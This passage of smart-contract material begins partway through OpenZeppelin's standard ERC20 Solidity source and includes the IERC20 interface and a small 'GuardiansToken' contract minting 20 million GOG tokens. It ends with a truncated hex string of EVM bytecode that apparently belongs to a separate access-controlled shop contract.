symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract GuardiansToken is ERC20 { constructor() public ERC20("Guild of Guardians", "GOG") { _mint(0xe1dCa243A34008dE035998427b58352595C0140B, 20000000 * 10**18); } }
0x60806040526004361061026a5760003560e01c80636c137ea911610153578063a217fddf116100cb578063d22120bc1161007f578063d547741f11610064578063d547741f14610733578063ddd1fcd314610753578063f0a3a97c146107735761026a565b8063d22120bc14610700578063d4b3b1de146107205761026a565b8063b5450e1c116100b0578063b5450e1c146106a0578063cdc239ff146106c0578063d0ef9369146106e05761026a565b8063a217fddf14610676578063aed9e6251461068b5761026a565b806391d148541161012257806395aca3761161010757806395aca376146106095780639879746b14610636578063a1e3c28e146106565761026a565b806391d14854146105a5578063944f28d4146105e95761026a565b80636c137ea91461050c578063788b5e231461054057806389020506146105655780638fec4745146105855761026a565b8063343131e5116101e65780633e314508116101b55780634e6618b81161019a5780634e6618b8146104a357806352b81c7b146104c357806366de84ec146104f75761026a565b80633e314508146104635780633ec741a4146104835761026a565b8063343131e5146103d657806336568abe146103f65780633a8afc32146104165780633cf637a4146104365761026a565b806322795fc21161023d5780632c546a83116102225780632c546a831461035e5780632e1a7d4d146103965780632f2ff15d146103b65761026a565b806322795fc214610314578063248a9ca31461032e5761026a565b806301ffc9a71461026f5780630b1b3f4d146102a45780631881a1c8146102c657806318de6549146102f4575b600080fd5b34801561027b57600080fd5b5061028f61028a3660046138bd565b6107a7565b60405190151581526020015b60405180910390f35b3480156102b057600080fd5b506102c46102bf3660046137fc565b610842565b005b3480156102d257600080fd5b506102e66102e1366004613883565b610a01565b60405190815260200161029b565b34801561030057600080fd5b506102e661030f366004613a7d565b610a7c565b34801561032057600080fd5b5060455461028f9060ff1681565b34801561033a57600080fd5b506102e6610349366004613883565b60009081526020819052604090206001015490565b34801561036a57600080fd5b5061037e610379366004613883565b610a91565b6040516001600160a01b03909116815260200161029b565b3480156103a257600080fd5b506102c46103b1366004613883565b610ab1565b3480156103c257600080fd5b506102c46103d136600461389b565b610bff565b3480156103e257600080fd5b506102e66103f1366004613a9e565b610c98565b34801561040257600080fd5b506102c461041136600461389b565b610de1565b34801561042257600080fd5b506102e6610431366004613883565b610e69565b34801561044257600080fd5b506102e66104513660046137e2565b60046020526000908152604090205481565b34801561046f57600080fd5b506102c461047e3660046137e2565b610f0f565b34801561048f57600080fd5b5061028f61049e36600461399d565b611033565b3480156104af57600080fd5b506102e66104be366004613a7d565b61104a565b3480156104cf57600080fd5b506102e67fc372c82fbd1d74a0ccd03f3656e1b509abac07d9ebbd6922221b96ab984d059d81565b34801561050357600080fd5b506102c4611075565b34801561051857600080fd5b506102e67fe984cfd1d1fa34f80e24ddb2a60c8300359d79eee44555bc35c106eb020394cd81565b34801561054c57600080fd5b5060025461037e9061010090046001600160a01b031681565b34801561057157600080fd5b506102e66105803660046137fc565b6111ae565b34801561059157600080fd5b506102e66105a0366004613a9e565b61126a565b3480156105b157600080fd5b5061028f6105c036600461389b565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b3480156105f557600080fd5b506102e66106043660046139e9565b611278565b34801561061557600080fd5b506106296106243660046138fd565b6112d6565b60405161029b9190613abf565b34801561064257600080fd5b506102c4610651366004613940565b611e98565b34801561066257600080fd5b506102e6610671366004613883565b611fd9565b34801561068257600080fd5b506102e6600081565b34801561069757600080fd5b506102c4611ff0565b3480156106ac57600080fd5b506102e66106bb366004613883565b6120f9565b3480156106cc57600080fd5b506102c46106db366004613a7d565b612109565b3480156106ec57600080fd5b506102c46106fb366004613837565b61214b565b34801561070c57600080fd5b506102e661071b3660046137fc565b612216565b6102c461072e366004613837565b612275565b34801561073f57600080fd5b506102c461074e36600461389b565b612525565b34801561075f57600080fd5b506102c461076e366004613837565b6125b2565b34801561077f57600080fd5b506102e67f3496e2e73c4d42b75d702e60d9e48102720b8691234415963a5a857b86425d0781565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b00000000000000000000000000000000000000000000000000000000148061083a57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b90505b919050565b3360009081527f668ac9d78f9663344aaa03dd68606e9b4a0c27f6d70d352a664e8b07562c9f72602052604090205460ff166108c55760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f742070726f64756374206f776e6572000000000060448201526064015b60405180910390fd5b60455460ff16156109185760405162461bcd60e51b815260206004820152601a60248201527f4e6f206d6f72652073746f636b2063616e20626520616464656400000000000060448201526064016108bc565b60005b60098110156109fd5781818151811061094457634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff166033826009811061097157634e487b7160e01b600052603260045260246000fd5b0160008282546109819190613c35565b925050819055508181815181106109a857634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c82600981106109d557634e487b7160e01b600052603260045260246000fd5b0160008282546109e59190613c35565b909155508190506109f581613df2565b91505061091b565b5050565b6000600154600143610a139190613db9565b6040805191406020830152429082015233606090811b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000001690820152607481018490526094016040516020818303038152906040528051906020012060001c61083a9190613e2d565b6000610a888383612695565b90505b92915050565b60058160238110610aa157600080fd5b01546001600160a01b0316905081565b3360009081527f991c3211066600fc98d95d017c66f2884b1fa3d4cabc2576d000f3cc80931bda602052604090205460ff16610b2f5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f742074726561737572657200000000000000000060448201526064016108bc565b604051600090339083908381818185875af1925050503d8060008114610b71576040519150601f19603f3d011682016040523d82523d6000602084013e610b76565b606091505b5050905080610bc75760405162461bcd60e51b815260206004820152600f60248201527f5472616e73666572206661696c6564000000000000000000000000000000000060448201526064016108bc565b6040518281527f5b6b431d4476a211bb7d41c20d1aab9ae2321deee0d20be3d9fc9b1093fa6e3d906020015b60405180910390a15050565b600082815260208190526040902060010154610c1c905b336105c0565b610c8e5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201527f2061646d696e20746f206772616e74000000000000000000000000000000000060648201526084016108bc565b6109fd82826126d9565b6000620f424081604660ff851660098110610cc357634e487b7160e01b600052603260045260246000fd5b600202015490506000604660ff861660098110610cf057634e487b7160e01b600052603260045260246000fd5b600202016001015490506000603c8660ff1660098110610d2057634e487b7160e01b600052603260045260246000fd5b015460338760ff1660098110610d4657634e487b7160e01b600052603260045260246000fd5b0154610d529190613db9565b905080610d65578294505050505061083d565b600060338760ff1660098110610d8b57634e487b7160e01b600052603260045260246000fd5b0154610d978684613d9a565b610da19190613c72565b90506000610daf8585613db9565b9050600086610dbe8484613d9a565b610dc89190613c72565b9050610dd48187613c35565b9998505050505050505050565b6001600160a01b0381163314610e5f5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084016108bc565b6109fd8282612777565b600080600080600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610ebd57600080fd5b505afa158015610ed1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef59190613a29565b925092509250610f06838387611278565b95945050505050565b3360009081527f668ac9d78f9663344aaa03dd68606e9b4a0c27f6d70d352a664e8b07562c9f72602052604090205460ff16610f8d5760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f742070726f64756374206f776e6572000000000060448201526064016108bc565b600280547fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b0384811682810293909317938490556003805492909404167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116179091556040519081527f7ae2fed1f4a83e420082eba10514fe2d903cfa478f6176240bfa750d5a678edc9060200160405180910390a150565b60006110408484846127f6565b90505b9392505050565b6046826009811061105a57600080fd5b60020201816002811061106c57600080fd5b01549150829050565b33600090815260046020526040902054806110d25760405162461bcd60e51b815260206004820152601360248201527f4e6f7468696e6720746f2077697468647261770000000000000000000000000060448201526064016108bc565b336000818152600460205260408082208290555190919083908381818185875af1925050503d8060008114611123576040519150601f19603f3d011682016040523d82523d6000602084013e611128565b606091505b50509050806111795760405162461bcd60e51b815260206004820152600f60248201527f5472616e73666572206661696c6564000000000000000000000000000000000060448201526064016108bc565b604080518381523360208201527f233706b186e42fa75755b986d02e9388130b4b26a2c65e1d090fa20963da4b589101610bf3565b600060098251146112015760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b6000805b83518160ff1610156112635761124581858360ff168151811061123857634e487b7160e01b600052603260045260246000fd5b6020026020010151612896565b61124f9083613c35565b91508061125b81613e0d565b915050611205565b5092915050565b600061083a61043183610c98565b60006112866002600a613ccc565b6112a0906dffffffffffffffffffffffffffff8616613d9a565b6112ba6dffffffffffffffffffffffffffff851684613d9a565b6112cc90670de0b6b3a7640000613d9a565b6110409190613c72565b606060006112e784602001516128b0565b905060008167ffffffffffffffff81111561131257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561137657816020015b6113636040805160a081019091528060008152602001600081526000602082018190526040820181905260609091015290565b8152602001906001900390816113305790505b5090506000805b60208701516000815181106113a257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff168110156115c257600061140e6000886003866040516020016113f093929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040516020818303038152906040528051906020012060001c61295b565b905060006114678860028660405160200161144993929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040516020818303038152906040528051906020012060001c612a49565b905060006114c1838a6001886040516020016114a393929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040516020818303038152906040528051906020012060001c612aa5565b9050600061151b848b6004896040516020016114fd93929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040516020818303038152906040528051906020012060001c612b9c565b6040805160a08101909152909150806000815260200185600481111561155157634e487b7160e01b600052602160045260246000fd5b81526020018360ff1681526020018460ff168152602001821515815250878761ffff168151811061159257634e487b7160e01b600052603260045260246000fd5b602002602001018190525085806115a890613dd0565b9650505050505080806115ba90613df2565b91505061137d565b5060005b60208701516001815181106115eb57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff168110156117935760006116396001886003866040516020016113f093929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b905060006116748860028660405160200161144993929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b905060006116b0838a6001886040516020016114a393929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b905060006116ec848b6004896040516020016114fd93929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040805160a08101909152909150806001815260200185600481111561172257634e487b7160e01b600052602160045260246000fd5b81526020018360ff1681526020018460ff168152602001821515815250878761ffff168151811061176357634e487b7160e01b600052603260045260246000fd5b6020026020010181905250858061177990613dd0565b96505050505050808061178b90613df2565b9150506115c6565b5060005b60208701516002815181106117bc57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff1681101561196457600061180a6002886003866040516020016113f093929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b905060006118458860028660405160200161144993929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b90506000611881838a6001886040516020016114a393929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b905060006118bd848b6004896040516020016114fd93929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040805160a0810190915290915080600281526020018560048111156118f357634e487b7160e01b600052602160045260246000fd5b81526020018360ff1681526020018460ff168152602001821515815250878761ffff168151811061193457634e487b7160e01b600052603260045260246000fd5b6020026020010181905250858061194a90613dd0565b96505050505050808061195c90613df2565b915050611797565b5060005b602087015160038151811061198d57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611ae65760408051602080820189905260018284015260f085901b6001600160f01b031916606083015282516042818403018152606290920190925280519101206000906119e990612c98565b90506000611a4288600286604051602001611a2493929190928352602083019190915260f01b6001600160f01b031916604082015260420190565b6040516020818303038152906040528051906020012060001c612cb0565b6040805160a081019091529091508060038152602001826004811115611a7857634e487b7160e01b600052602160045260246000fd5b815260ff841660208201526000604082018190526060909101528551869061ffff8716908110611ab857634e487b7160e01b600052603260045260246000fd5b60200260200101819052508380611ace90613dd0565b94505050508080611ade90613df2565b915050611968565b5060005b6020870151600581518110611b0f57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611ba1576040805160a08101909152806005815260200160048152600060208201819052604082018190526060909101528351849061ffff8516908110611b7557634e487b7160e01b600052603260045260246000fd5b60200260200101819052508180611b8b90613dd0565b9250508080611b9990613df2565b915050611aea565b5060005b6020870151600681518110611bca57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611c5c576040805160a08101909152806006815260200160048152600060208201819052604082018190526060909101528351849061ffff8516908110611c3057634e487b7160e01b600052603260045260246000fd5b60200260200101819052508180611c4690613dd0565b9250508080611c5490613df2565b915050611ba5565b5060005b6020870151600781518110611c8557634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611d17576040805160a08101909152806007815260200160048152600060208201819052604082018190526060909101528351849061ffff8516908110611ceb57634e487b7160e01b600052603260045260246000fd5b60200260200101819052508180611d0190613dd0565b9250508080611d0f90613df2565b915050611c60565b5060005b6020870151600881518110611d4057634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611dd2576040805160a08101909152806008815260200160048152600060208201819052604082018190526060909101528351849061ffff8516908110611da657634e487b7160e01b600052603260045260246000fd5b60200260200101819052508180611dbc90613dd0565b9250508080611dca90613df2565b915050611d1b565b5060005b6020870151600481518110611dfb57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16811015611e8d576040805160a08101909152806004815260200160048152600060208201819052604082018190526060909101528351849061ffff8516908110611e6157634e487b7160e01b600052603260045260246000fd5b60200260200101819052508180611e7790613dd0565b9250508080611e8590613df2565b915050611dd6565b509095945050505050565b3360009081527f32591b69dcde4c29df368d9b2dcc0ab9803d8c03eb49d75e4ef61ffc44126adc602052604090205460ff16611f165760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420696d6d757461626c6500000000000000000060448201526064016108bc565b611f218484836127f6565b15611f90576000611f33858584612d55565b90508260058260238110611f5757634e487b7160e01b600052603260045260246000fd5b0180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055505b816001600160a01b03167f1f95ec9c87f5496bc8fe5a1431f87a5c5b342efbfeb3cfb9149db27e78ca71718585604051611fcb929190613b57565b60405180910390a250505050565b603c8160098110611fe957600080fd5b0154905081565b3360009081527f668ac9d78f9663344aaa03dd68606e9b4a0c27f6d70d352a664e8b07562c9f72602052604090205460ff1661206e5760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f742070726f64756374206f776e6572000000000060448201526064016108bc565b60455460ff16156120c15760405162461bcd60e51b815260206004820152601460248201527f53746f636b20616c7265616479206c6f636b656400000000000000000000000060448201526064016108bc565b6045805460ff191660011790556040517f8414b4782618bfff69213d3102959352dccb71487dee3b51e5e2862a8bda159b90600090a1565b60338160098110611fe957600080fd5b80827f67ed6d884a6833ccb66ea418126cb89e80c36ba7aed156119d234afab9f09c726121368585612695565b60405190815260200160405180910390a35050565b3360009081527f668ac9d78f9663344aaa03dd68606e9b4a0c27f6d70d352a664e8b07562c9f72602052604090205460ff166121c95760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f742070726f64756374206f776e6572000000000060448201526064016108bc565b6121d282612da3565b6121de82826000612e8e565b6040516001600160a01b038216907f7b0061510b739de7798bca1c8223e034d0e8d6d9b487ee378328d217f526c6b090600090a25050565b600060098251146122695760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b61083a610431836111ae565b60098251146122c65760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b6122cf82612da3565b60006122da836111ae565b90506000806001600160a01b038416156122fd576122f783612f5a565b90925090505b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561235057600080fd5b505afa158015612364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123889190613a29565b9194509250905084156123ce576123a0838387611278565b6001600160a01b038816600090815260046020526040812080549091906123c8908490613c35565b90915550505b60006123db848487611278565b90506000816123eb86868b611278565b6123f59190613db9565b9050803410156124475760405162461bcd60e51b815260206004820152601260248201527f496e73756666696369656e742066756e6473000000000000000000000000000060448201526064016108bc565b6124668a33886124578b8d613db9565b6124619190613db9565b612e8e565b60006124728234613db9565b1115612519576000336124858334613db9565b604051600081818185875af1925050503d80600081146124c1576040519150601f19603f3d011682016040523d82523d6000602084013e6124c6565b606091505b50509050806125175760405162461bcd60e51b815260206004820152600f60248201527f5472616e73666572206661696c6564000000000000000000000000000000000060448201526064016108bc565b505b50505050505050505050565b60008281526020819052604090206001015461254090610c16565b610e5f5760405162461bcd60e51b815260206004820152603060248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201527f2061646d696e20746f207265766f6b650000000000000000000000000000000060648201526084016108bc565b3360009081527f668ac9d78f9663344aaa03dd68606e9b4a0c27f6d70d352a664e8b07562c9f72602052604090205460ff166126305760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f742070726f64756374206f776e6572000000000060448201526064016108bc565b60455460ff16156126835760405162461bcd60e51b815260206004820152601a60248201527f4e6f206d6f72652073746f636b2063616e20626520616464656400000000000060448201526064016108bc565b61268c82612da3565b6121d282610842565b6000600154836126a484612fd9565b6040805160208101939093528201526060016040516020818303038152906040528051906020012060001c610a889190613e2d565b6000828152602081815260408083206001600160a01b038516845290915290205460ff166109fd576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556127333390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16156109fd576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60008061280385846112d6565b9050600081858151811061282757634e487b7160e01b600052603260045260246000fd5b602002602001015190506000816040015160ff16905081608001518015612879575060006005826023811061286c57634e487b7160e01b600052603260045260246000fd5b01546001600160a01b0316145b1561288a5760019350505050611043565b60009350505050611043565b60008161ffff166128a684610c98565b610a889190613d9a565b600060098251146129035760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b6000805b60098110156112635783818151811061293057634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16826129479190613c35565b91508061295381613df2565b915050612907565b60008061296a61271084613e2d565b9050600084600481111561298e57634e487b7160e01b600052602160045260246000fd5b14156129ee576129a8816000602860030154612710613113565b156129b7576002915050610a8b565b602b54602a546129d59183916129cd9082613c35565b612710613113565b156129e4576001915050610a8b565b6000915050610a8b565b6001846004811115612a1057634e487b7160e01b600052602160045260246000fd5b1415612a4157612a2881602860040154612710613154565b15612a37576002915050610a8b565b6001915050610a8b565b509192915050565b600080612a5861271084613e2d565b9050612a6c81602860010154612710613154565b15612a7b57600291505061083d565b612a8d81602860000154612710613154565b15612a9c57600191505061083d565b50600092915050565b60008080612ab561271085613e2d565b90506002856004811115612ad957634e487b7160e01b600052602160045260246000fd5b1415612afc57612aea600882613e2d565b612af5906001613c35565b9150612b94565b6001856004811115612b1e57634e487b7160e01b600052602160045260246000fd5b1415612b3b576008612b31600b83613e2d565b612aea9190613c35565b6000856004811115612b5d57634e487b7160e01b600052602160045260246000fd5b1415612b94576008600b612b72601084613e2d565b612b7c9190613c35565b612b869190613c35565b612b91906001613c35565b91505b509392505050565b600080612bab61271084613e2d565b90506000846004811115612bcf57634e487b7160e01b600052602160045260246000fd5b148015612be95750612be981602860080154612710613154565b15612bf8576001915050610a8b565b6001846004811115612c1a57634e487b7160e01b600052602160045260246000fd5b148015612c345750612c3481602860090154612710613154565b15612c43576001915050610a8b565b6002846004811115612c6557634e487b7160e01b600052602160045260246000fd5b148015612c7f5750612c7f816028600a0154612710613154565b15612c8e576001915050610a8b565b5060009392505050565b6000612ca5600383613e2d565b61083a906001613c35565b600080612cbf61271084613e2d565b90506000612cd7826000602860070154612710613113565b15612ce75760029250505061083d565b602f54612cf49082613c35565b9050612d098282602860060154612710613113565b15612d195760019250505061083d565b602e54612d269082613c35565b9050612d3b8282602860050154612710613113565b15612d4b5760009250505061083d565b5060039392505050565b600080612d6285846112d6565b90506000818581518110612d8657634e487b7160e01b600052603260045260246000fd5b60200260200101519050806040015160ff16925050509392505050565b6009815114612df45760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b60005b60098110156109fd576064828281518110612e2257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff161115612e7c5760405162461bcd60e51b815260206004820152601660248201527f4d6178206c696d69742031303020706572206974656d0000000000000000000060448201526064016108bc565b80612e8681613df2565b915050612df7565b6009835114612edf5760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b612ee883613175565b6000612ef56102e1613691565b905060006040518060400160405280838152602001868152509050836001600160a01b03167f02756ad7606ea1be2915695c7fad95a2dfc8253c117c205193247fb7a41883628285604051612f4b929190613b57565b60405180910390a25050505050565b600354600090819061271090612f8e90760100000000000000000000000000000000000000000000900461ffff1685613d9a565b612f989190613c72565b60035490925061271090612fc89074010000000000000000000000000000000000000000900461ffff1685613d9a565b612fd29190613c72565b9050915091565b600080612fe68343613db9565b600254909150612ffb9060ff16610100613c0f565b61ffff16811061304d5760405162461bcd60e51b815260206004820152600f60248201527f43616c6c656420746f6f206c617465000000000000000000000000000000000060448201526064016108bc565b60025461305e9060ff166001613c4d565b60ff168110156130b05760405162461bcd60e51b815260206004820152601060248201527f43616c6c656420746f6f206561726c790000000000000000000000000000000060448201526064016108bc565b6002546000906130c39060ff1685613c35565b409050806110435760405162461bcd60e51b815260206004820152601660248201527f46757475726520626c6f636b6861736820656d7074790000000000000000000060448201526064016108bc565b6000816131208482613d9a565b61312a9190613c72565b85108015610f0657508161313e8582613d9a565b6131489190613c72565b85101595945050505050565b6000816131618482613d9a565b61316b9190613c72565b9093109392505050565b60098151146131c65760405162461bcd60e51b815260206004820152601f60248201527f556e6578706563746564206e756d626572206f66206f726465726c696e65730060448201526064016108bc565b80600060ff16815181106131ea57634e487b7160e01b600052603